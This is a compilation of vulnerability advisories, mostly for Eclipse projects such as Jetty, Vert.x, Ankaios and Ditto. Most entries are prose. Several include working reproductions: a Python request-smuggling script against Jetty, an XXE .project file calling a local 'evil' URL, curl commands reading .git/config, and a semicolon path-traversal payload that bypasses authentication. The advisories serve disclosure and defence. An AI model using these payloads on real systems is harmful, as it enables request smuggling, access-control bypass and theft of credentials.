Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, SessionEventLoop.run catches only InterruptedException, and SessionEventLoopGroup does not restart a terminated loop. An MQTT command that raises an uncaught exception can terminate an event loop shared by multiple client sessions, preventing every co-located client from processing PUBLISH, SUBSCRIBE, PUBACK, and other commands. An attacker can select client IDs that map across the available loops to disrupt session processing for the entire broker. This issue is fixed in version 0.18.1.

A request desynchronization vulnerability exists in Undertow's chunked transfer encoding parser. The ChunkReader.state field uses a long value to track both the remaining bytes in a chunk and internal state flags (such as FLAGFINISHED at bit 62 and FLAGREADINGAFTERLAST at bit 58). When a client sends a chunk-size header with a value large enough to set these high-order bits (e.g., 0x4000000000000000 or 0x0400000000000000), the parser incorrectly interprets the chunk or the entire request as completed. Because this logic error occurs during the parsing of the chunk header itself, default entity size limits (like max-post-size) are not triggered, as no body bytes have been consumed yet. Concrete Impact: An attacker can use this flaw to perform HTTP Request Smuggling. Specifically, they can: Force the server to treat part of a single TCP stream as a new, independent request.

Bypass security filters or routing rules implemented at the proxy/gateway level.

Cause request desynchronization where one user's request is prepended to another user's subsequent request on the same connection.

Description

There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

- Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served. - Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.

As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

Steps to Reproduce

bash 1. Prepare test environment

Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git

Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: APIKEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config

java 2. Implement test server

import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx);

// Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false);

router.route("/").handler(staticHandler);

vertx.createHttpServer() .requestHandler(router) .listen(8082); }

public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } }

bash 3. Confirm the vulnerability

Normal file (accessible) curl http://localhost:8082/visible.txt Result: 200 OK

Hidden file (correctly blocked) curl http://localhost:8082/.git Result: 404 Not Found

File under hidden directory (vulnerable) curl http://localhost:8082/.git/config Result: 200 OK - Returns contents of Git config

Potential Impact

1. Information Disclosure

Examples of sensitive files that could be exposed:

- .git/config: Git repository settings (e.g., remote URL, credentials) - .env/: Environment variables (API keys, DB credentials) - .aws/credentials: AWS access keys - .ssh/knownhosts: SSH host trust info - .docker/config.json: Docker registry credentials

2. Attack Scenarios

- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. - Especially dangerous for .git/HEAD, .git/config, .git/objects/ — which may allow full reconstruction of source code.

3. Affected Scope

- Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) - Environments: All OSes (Windows, Linux, macOS) - Configurations: All applications using StaticHandler.setIncludeHidden(false)

The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.

The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web):

The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:

Invalid Scheme | URI | Jetty | uri-js (nodejs) | node-url(nodejs) | |---|---|---| --- | | https>://vulndetector.com/path | scheme=http>| scheme=https | invalid URI |

Improper IPv4 mapped IPv6

| URI | Jetty | System.Uri(CSharp) | curl(C) | |---|---|---| --- | | http://[0:0:0:0:0:ffff:127.0.0.1] | invalid | host=[::ffff:127.0.0.1] | host=[::ffff:127.0.0.1] | | http://[::ffff:255.255.0.0] | invalid | host=[::ffff:255.255.0.0] | host=[::ffff:255.255.0.0] |

Incorrect IPv6 delimeter priority

| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium | |---|---|---| --- |---|---| | http://[normal.com@]vulndetector.com/ | host=[normal.com@] | invalid | invalid | | | | http://normal.com[user@vulndetector].com/ | host=[noirmal.com@vulndetector | | | host=normal.com | invalid | | http://normal.com[@]vulndetector.com/ | host=normal.com[@] | | | host=normal.com | invalid |

Incorrect delimeter priority

| URI | Jetty | urllib3(python) | jersey | |---|---|---| --- | | http://normal.com/#@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com | | http://normal.com/?@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com |

Impact Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.

Patches Patched in Supported Open Source versions. 12.1.5 - Supported and available on Maven Central 12.0.31 - Supported and available on Maven Central 11.0.x - EOL Release, patches available on tuxcare and herodevs 10.0.x - EOL Release, patches available on tuxcare and herodevs 9.4.x - EOL Release, patches available on tuxcare and herodevs

Workarounds None

Resources

+ Java Eclipse Jetty Report Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf + Java Eclipse Jetty Report The Parsing Priority of the Delimiter.pdf + Java Eclipse Jetty Report Parsing Difference Due to Deformed Scheme.pdf + Java Eclipse Jetty Report Improper IPv4-mapped IPv6 Parsing.pdf

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding: chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string: quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant): Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n]

Actual (jetty): Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request

Proof of Concept

python #!/usr/bin/env python3 import socket

payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )

sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)

response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break

sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |

Impact

- Request Smuggling: Attacker injects arbitrary HTTP requests - Cache Poisoning: Smuggled responses poison shared caches - Access Control Bypass: Smuggled requests bypass frontend security - Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

1. Start the minimal POC with docker 2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches No patches yet.

Workarounds No workarounds yet.

A TCP client can perform a TLS handshake and present the server name extension with a server name that is accepted by a server wildcard name, e.g. if the server is configured with a certificate accepting .example.com, any XYZ.example.com where xyz is a valid name can be used.

Impact xml files like ".project" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).

Vulnerablility was found by static code analysis (SonarLint).

Example .project file: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE price [ <!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]> <projectDescription> <name>p</name> <comment>&xxe;</comment> </projectDescription>

Patches Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any DOCTYPE.

Workarounds No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).

References https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)

In Eclipse iceoryx2 versions greater than v0.8.0, the StaticString exposes its contents as mutable bytes through safe APIs, while String::asstr() converts those bytes into a Rust string slice without validating UTF-8. An application can therefore create an invalid &str and trigger undefined behavior using entirely safe Rust.

In Eclipse Ankaios versions 0.6.0 to before 1.0.4, LogRule::matches in the agent control-interface authorizer stops at the first wildcard pattern in a single rule instead of evaluating later entries, which can cause deny LogRule entries to be skipped and allow unauthorized access to another workload's logs.

In Eclipse Embedded CDT versions 6.0 to 6.7 if the CMSIS-Pack archive extracts a compromised CMSIS pack the archive extraction can extract files to locations outside of the pack, allowing writing of arbitrary files to other locations on disk.

In Eclipse Ankaios versions 0.1.0 through 1.0.2, the agent creates workload files and Control Interface named pipes (FIFOs) under a predictable path derived from the agent name and a hash of the workload's runtime configuration. If a directory or FIFO already exists at that path when the agent (re)starts, the agent reuses it based only on an existence and/or file-type check, without validating its owner or permissions. A local, unprivileged user with write access to the same base directory (by default under $TMPDIR/ankaios, e.g. shared /tmp) can pre-create this path hierarchy, including the two Control Interface FIFOs, before the agent starts. The agent then treats the attacker-owned FIFOs as the legitimate Control Interface for the targeted workload. The attacker can complete the Control Interface handshake and issue requests using that workload's configured controlInterfaceAccess permissions, allowing impersonation of the workload and, depending on its configured permissions, unauthorized reading and/or modification of the cluster's desired state.

Description (as reported)

A security vulnerability has been identified in Jetty's JaspiAuthenticator.java.

The root cause is a failure to consistently clear authentication metadata stored in ThreadLocal during certain error or incomplete authentication flows. Specifically, after a GroupPrincipalCallback is persisted into the ThreadLocal, the authentication process may exit prematurely — before the ThreadLocal storage is cleared — if a mandatory CallerPrincipalCallback is missing or an exception occurs. This allows a subsequent, unprivileged user processed by the same worker thread to inherit these residual security roles, leading to Broken Access Control and Privilege Escalation.

See also attached PDF.

Impact An unauthenticated user may gain ungrated privileges from a previous request (privilege escalation).

Patches No patches yet.

Workarounds Do not use Jetty's JASPI.

Description (as reported)

There is a memory leak when using GzipHandler in jetty-12.0.30 that can cause off-heap OOMs. This can be used for DoS attacks so I'm reporting this as a vulnerability.

The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (no Accept-Encoding: gzip). In these conditions, a new inflator will be created by GzipRequest and never released back into GzipRequest.inflaterPool because gzipRequest.destory() is not called.

In heap dumps one can see thousands of java.util.zip.Inflator objects, which use both Java heaps and native memory. Leaking native memory causes of off-heap OOMs.

Code path in GzipHandler.handle(): 1. Line 601: GzipRequest is created when request inflation is needed. 2. Lines 611-616: The callback is only wrapped in GzipResponseAndCallback when both inflation and deflation are needed. 3. Lines 619-625: If the handler accepts the request (returns true), gzipRequest.destroy() is only called in the "request not accepted" path (returns false)

When deflation is needed, GzipResponseAndCallback (lines 102 and 116) properly calls gzipRequest.destroy() in its succeeded() and failed() methods. But this wrapper is only created when deflation is needed.

Possible fix: The callback should be wrapped whenever a GzipRequest is created, not just when deflation is needed. This ensures gzipRequest.destroy() is always called when the request completes.

Impact The leak causes the JVM to crash with OOME.

Patches No patches yet.

Workarounds Disable GzipHandler.

References https://github.com/jetty/jetty.project/issues/14260

https://gitlab.eclipse.org/security/cve-assignment/-/issues/79

In Eclipse Open9J versions 0.21 to 0.58, a pre-authentication remote attacker can crash JITServer by sending a 32-byte crafted TCP message.

Description (as reported)

Summary

In Jetty 12.1.8, org.eclipse.jetty.util.URIUtil.canonicalPath() may leave dot-dot path segments unnormalized when a semicolon path parameter marker is followed by a slash and a dot segment.

A minimal example is:

/public;/../admin/secret

In my local reproduction, URIUtil.canonicalPath() returns:

/public/../admin/secret

instead of the expected normalized path:

/admin/secret

When Jetty's SecurityHandler.PathMapped is used to protect a path prefix such as /admin/, the non-normalized canonical path may not match the protected prefix. As a result, an unauthenticated request may bypass the configured path-based security constraint.

Tested Version

Jetty: 12.1.8 JDK: 17.0.18 Maven: 3.9.14

Maven artifacts used:

org.eclipse.jetty:jetty-server:12.1.8 org.eclipse.jetty:jetty-security:12.1.8 org.eclipse.jetty:jetty-session:12.1.8

Only confirmed Jetty 12.1.8 so far.

Minimal Reproduction

Starts a minimal Jetty server with the following security setup:

java SecurityHandler.PathMapped security = new SecurityHandler.PathMapped(); security.put("/admin/", Constraint.from("admin")); security.put("/", Constraint.ALLOWED); security.setAuthenticator(new BasicAuthenticator());

The test then sends requests with no Authorization header.

Observed result:

GET /admin/secret -> 401 GET /public;x/../admin/secret -> 200

The handler receives paths such as:

/public/../admin/secret

This suggests that the /admin/ security constraint is bypassed because PathMapped matching is performed against the non-normalized canonical path.

Suspected Root Cause

The suspected root cause is in URIUtil.canonicalPath().

The relevant logic is approximately:

java for (int i = 0; i < end; i++) { char c = encodedPath.charAt(i);

switch (c) { case ';': if (builder == null) { builder = new Utf8StringBuilder(encodedPath.length()); builder.append(encodedPath, 0, i); }

while (++i < end) { if (encodedPath.charAt(i) == '/') { builder.append('/'); break; } } break;

case '.': if (slash) normal = false; if (builder != null) builder.append(c); break; }

slash = c == '/'; }

String canonical = (builder != null) ? (onBadUtf8 == null ? builder.toCompleteString() : builder.takeCompleteString(onBadUtf8)) : encodedPath; return normal ? canonical : normalizePath(canonical);

For the input:

/public;/../admin/secret

when the outer loop reaches the semicolon:

i = 7 c = ';' slash = false normal = true

Inside case ';', the while (++i < end) loop advances i to the next character, which is already '/' for the empty path parameter form ";/".

The code then appends '/' to the canonical builder:

builder.append('/');

At this point, the canonical builder ends with '/':

/public/

However, the local variable c is still the old value ';', because c was read before entering the switch and is not updated when the inner loop advances i.

After leaving the switch, the loop updates the slash state using:

slash = c == '/';

Since c is still ';', slash becomes false.

On the next iteration, the scanner reaches '.', which is the first dot in the following "../" segment. Because slash is incorrectly false, this code does not run:

java if (slash) normal = false;

Therefore normal remains true, and canonicalPath() returns the canonical string directly instead of calling normalizePath(canonical).

The result is:

/public/../admin/secret

instead of:

/admin/secret

In short:

case ';' advances the scan position i and appends '/' to the canonical builder, but the loop tail still updates slash from the stale character c=';'. As a result, the following dot-dot segment is not detected as a path traversal segment.

More Precise Trigger Condition

The issue is not limited to a non-empty path parameter such as ";x".

The more precise trigger shape is:

;[^/]/.

Examples:

/public;/../admin/secret /public;x/../admin/secret /public;anything/../admin/secret /public;/./admin/secret

The minimal form is:

/public;/../admin/secret

because the semicolon is immediately followed by '/', so the inner while loop reaches '/' on its first increment.

Potential Minimal Fix Direction

A minimal fix would be to ensure that, when case ';' consumes input until '/' and appends '/' to the canonical builder, the slash state reflects the last effective character in the canonical path.

For example, conceptually:

java case ';': if (builder == null) { builder = new Utf8StringBuilder(encodedPath.length()); builder.append(encodedPath, 0, i); }

while (++i < end) { if (encodedPath.charAt(i) == '/') { builder.append('/'); slash = true; break; } } continue;

The important part is to avoid the loop tail from overwriting slash using the stale c value:

slash = c == '/';

In other words, slash should represent the last effective character appended to the canonical builder, not the original input character read before case ';' advanced i.

A vulnerability was found in Undertow where the WebSocketContainer and its boot process do not allow setting the binaryBuffer and textBuffer sizes, along with session duration and async send timeout. These parameters default to infinite. This is a follow-up to CVE-2026-5680, as the initial fix allowed setting buffer sizes for certain types but left async send and session duration as infinite and inaccessible for configuration. An attacker could exploit these infinite defaults to cause resource exhaustion or an Out of Memory (OOME) condition on the server.

A client may issue HTTP/2 requests to a Jetty server that result in blocking writes that are never unblocked, eventually causing all threads to be blocked and the whole server to become unresponsive.

This is caused by a race condition in the server when handling RSTSTREAM frames and GOAWAY frames sent by the client.

The race condition "resets" the HTTP2Flusher.terminated, previously set to a non-null value, to the null value, allowing entries to be enqueued in the flusher that however will never be processed. These unprocessed entries are the ones that would unblock the write-blocked threads.

In Eclipse Ankaios versions 0.1.0 through 1.0.1, the agent does not limit the length declared by a workload in a length-delimited protobuf message received through the Control Interface FIFO. A workload granted Control Interface access can specify an excessive message length, causing an unbounded memory allocation that may abort the Ankaios agent process. This results in loss of orchestration services for workloads managed by the affected agent.

In Eclipse Ankaios versions v0.5.1 through v1.0.1, the agent-side Control Interface authorizer incorrectly evaluates multi-segment allow rules whose first path segment is a wildcard. An authenticated workload with access restricted by such a rule can submit a CompleteStateRequest or UpdateStateRequest with an empty field mask. The request may then be incorrectly authorized as matching the scoped rule, allowing the workload to read the complete cluster state or replace state outside its authorized subtree. This may result in unauthorized disclosure or modification of other workloads and cluster configuration. Only a rule consisting solely of is intended to authorize an empty mask.

Mitigation: Until an update containing the fix is installed, avoid multi-segment Control Interface allow-rule filter masks that begin with a wildcard, such as .workloads.someworkload. Replace them with explicit paths such as desiredState.workloads.someworkload, where applicable. A filter mask consisting solely of has different, intentionally unrestricted semantics and should only be used when full-state access is intended.

A client may send a WebSocket frame with an unknown opcode and a very large declared payload length, causing Jetty to attempt a large memory allocation and potentially exhaust the JVM heap.

This occurs when auto-fragmentation is enabled, as unknown opcodes bypass the normal maximum frame size handling and payload allocation occurs before the opcode is validated.

A client may issue specially crafted HTTP/1.1 chunked requests to a Jetty server that cause Jetty and an intermediary proxy to interpret different request boundaries, potentially resulting in HTTP request smuggling.

This is caused by Jetty accepting a lone LF character as a terminator in parts of chunked request parsing. Depending on the Jetty version and configured HTTP compliance mode, this may occur in chunk extensions, chunk data termination, or trailer termination.

In Eclipse Che versions 7.79.0 through 7.121.0, the dashboard backend's POST /dashboard/api/data/resolver endpoint passes a caller-supplied URL directly to an outbound HTTP GET request with no host filtering. An authenticated user can exploit this server-side request forgery (SSRF) to read responses from internal network addresses, including the cloud instance metadata service (169.254.169.254), loopback interfaces, RFC-1918 private ranges, and in-cluster Kubernetes services. The operator-configured allowlist (spec.devEnvironments.allowedSources.urls) is not consulted. The vulnerability is fixed in version 7.122.0, which adds private-address blocking, IPv4-mapped IPv6 bypass prevention, operator allowlist enforcement, and disables HTTP redirects on the outbound request.

Spring Framework MVC applications can be vulnerable to a “Path Traversal Vulnerability” when deployed on a non-compliant Servlet container.

An application can be vulnerable when all the following are true:

the application is deployed as a WAR or with an embedded Servlet container the Servlet container does not reject suspicious sequences

In Eclipse Ditto versions 3.0.0 to 3.9.6, the Things service fetches WoT (Web of Things) ThingModels over HTTP from URLs supplied by API users in the definition field of a Thing or Feature, without validating the target host, and follows HTTP redirects without re-validating the redirect target and without a hop limit. An authenticated user who is permitted to create a Thing, or who holds WRITE permission on an existing Thing, can thereby cause the Things service to issue arbitrary HTTP GET requests from inside the deployment's network — including to cloud instance-metadata endpoints and other internal services — and can use the differing error responses returned to the caller to enumerate internal services. Versions 2.4.0 to 2.5.x contain the same code, but are only affected where the operator explicitly enabled the WoT integration feature toggle, which is disabled by default in those versions.

In Eclipse Ditto versions [1.3.0, 3.9.6], the ImplicitThingCreationMessageMapper of the connectivity service builds a CreateThing command by substituting placeholder values (e.g. {{ header:deviceid }}) resolved from inbound message headers into a pre-configured JSON "thing" template as raw, un-escaped strings, and then parses the resulting string as JSON. Because the placeholder engine performs no JSON escaping and is unaware of the surrounding JSON string context, a resolved value containing a double-quote character can break out of its string and inject additional JSON structure.

When a connection is configured to use this mapper with a template that reflects a header whose value a publishing device can control (for example an MQTT 5 user property, an AMQP 1.0 application property, or a Kafka record header), an attacker able to publish on that connection can inject an inline policy object. The inline policy overrides the administrator-configured policyId, letting the attacker assign an arbitrary access-control policy to the newly created digital twin — gaining full read/write access to it and potentially revoking the legitimate owner's access, with no administrator interaction.

Exploitation requires all of the following: the connection uses the (non-default) ImplicitThingCreation mapper; its template reflects an attacker-controllable header; and, for the policy-override impact, the connection's authorization subjects are permitted to create policies (the default). Deployments that restrict the connection's subjects to thing creation only via the entity-creation configuration are not affected by the policy-override impact.

In Eclipse Arrowhead versions from 5.0.0 to 5.2.1 when the MQTT API is enabled with the certificate authentication policy, CertificateMqttFilter parses an X.509 certificate that the client sends inside the MQTT message payload (the authentication field of MqttRequestTemplate) and treats its Subject DN as the authenticated identity. The certificate is decoded with CertificateFactory.generateCertificate() but its signature is never verified and its issuer chain is never validated against any trust store. Authorisation is reduced to two string comparisons on attacker-supplied data: the DN-qualifier must equal "sy" or "op", and the cloud-name part of the CN must match the server's. Both values are public (the cloud name is in the server's own TLS certificate). An attacker who can publish to the MQTT broker can therefore mint a self-signed certificate with CN=Sysop.<cloud>.<org>.arrowhead.eu, dnQualifier=op, send it as the authentication field, and be authenticated as the cloud's system operator with isSysOp == true. This passes the downstream ManagementServiceMqttFilter (request.isSysOp() → allowed) and gives full management access over MQTT. The HTTP CertificateFilter is not affected — it reads the certificate from jakarta.servlet.request.X509Certificate, which Tomcat populates only after a successful mTLS handshake against the configured trust store.

Eclipse aeriOS Self-orchestrator versions prior to 1.2.1 contain a path traversal vulnerability in the REST API. User-controlled identifiers used to create, update, or delete Self-orchestrator resources were incorporated into filesystem paths without adequate validation or sanitization. An unauthenticated remote attacker able to access the Self-orchestrator API could therefore supply specially crafted identifiers containing path traversal sequences to write or delete JSON files outside the intended application directories, subject to the filesystem permissions of the Self-orchestrator process.

The impact is increased by the absence of authentication on the affected API and by the container running with elevated privileges in the affected deployment configuration.

The issue has been addressed in version 1.2.1 by introducing validation and sanitization of user-controlled identifiers before they are used to construct filesystem paths, preventing path separator characters from being used to escape the intended directories.

In Eclipse OpenJ9 versions up to 0.60, a crafted .class file with deeply nested annotations causes a segmentation fault.

In Eclipse SW360 versions 19.0.0, 19.1.0, 19.2.0, 20.0.0, 20.1.0, if the system is configured to use file system storage with config key enable.attachment.store.to.file.system, the attacker can manipulate the filename upon upload and can essentially cause arbitrary file path traversal.

The immediate workaround is to disable enable.attachment.store.to.file.system or update to fixed versions.